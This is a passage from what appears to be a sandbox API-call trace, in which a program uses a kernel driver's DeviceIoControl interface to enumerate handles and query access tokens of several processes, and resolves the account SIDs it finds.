IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.682] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0122.682] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.682] PsAcquireProcessExitSynchronization () returned 0x0 [0122.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0) [0122.682] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0122.682] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.682] PsReleaseProcessExitSynchronization () returned 0x2 [0122.682] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0122.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.682] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0122.682] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.682] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.682] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.682] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.682] PsAcquireProcessExitSynchronization () returned 0x0 [0122.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0) [0122.682] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.682] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.682] PsReleaseProcessExitSynchronization () returned 0x2 [0122.682] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0122.682] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.682] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.683] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.683] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.683] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0122.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.683] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0122.683] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.683] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0122.683] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.683] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.683] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.683] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.683] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.684] CloseHandle (hObject=0xc8) returned 1 [0122.684] CloseHandle (hObject=0xc0) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.684] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.684] PsAcquireProcessExitSynchronization () returned 0x0 [0122.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0) [0122.684] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0122.685] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.685] PsReleaseProcessExitSynchronization () returned 0x2 [0122.685] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0122.685] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.685] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0122.685] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.685] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0122.685] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.685] PsAcquireProcessExitSynchronization () returned 0x0 [0122.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0) [0122.685] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0122.685] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.685] PsReleaseProcessExitSynchronization () returned 0x2 [0122.685] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0122.685] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.685] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0122.685] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.685] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.685] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.685] PsAcquireProcessExitSynchronization () returned 0x0 [0122.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880044355d0) [0122.685] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.685] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.686] PsReleaseProcessExitSynchronization () returned 0x2 [0122.686] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0122.686] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.686] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.686] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.686] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.686] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0122.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.686] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0122.686] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.686] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0122.686] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.686] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.686] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.686] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.686] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.796] CloseHandle (hObject=0xc8) returned 1 [0122.796] CloseHandle (hObject=0xc0) returned 1 [0122.796] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.796] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.796] PsAcquireProcessExitSynchronization () returned 0x0 [0122.796] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0) [0122.796] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0122.796] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.796] PsReleaseProcessExitSynchronization () returned 0x2 [0122.796] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0122.796] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.796] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0122.796] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.796] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.796] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0122.796] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.797] PsAcquireProcessExitSynchronization () returned 0x0 [0122.797] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0) [0122.797] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0122.797] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.797] PsReleaseProcessExitSynchronization () returned 0x2 [0122.797] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0122.797] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.797] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0122.797] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.797] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.797] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.797] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.797] PsAcquireProcessExitSynchronization () returned 0x0 [0122.797] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880044355d0) [0122.797] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.797] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.797] PsReleaseProcessExitSynchronization () returned 0x2 [0122.797] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0122.797] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.797] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.797] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.797] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.797] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0122.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.797] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0122.797] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.797] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0122.797] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.797] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.798] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.798] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.798] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.799] CloseHandle (hObject=0xc8) returned 1 [0122.799] CloseHandle (hObject=0xc0) returned 1 [0122.799] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.799] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.799] PsAcquireProcessExitSynchronization () returned 0x0 [0122.799] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0) [0122.799] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0122.799] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.799] PsReleaseProcessExitSynchronization () returned 0x2 [0122.799] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0122.799] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.799] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0122.800] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.800] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.800] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0122.800] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.800] PsAcquireProcessExitSynchronization () returned 0x0 [0122.800] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0) [0122.800] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0122.800] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.800] PsReleaseProcessExitSynchronization () returned 0x2 [0122.800] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0122.800] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.800] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0122.800] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.800] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.800] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.800] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.800] PsAcquireProcessExitSynchronization () returned 0x0 [0122.800] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880044355d0) [0122.800] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.800] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.800] PsReleaseProcessExitSynchronization () returned 0x2 [0122.800] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0122.800] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.800] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.800] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.800] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.800] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0122.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.800] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0122.800] 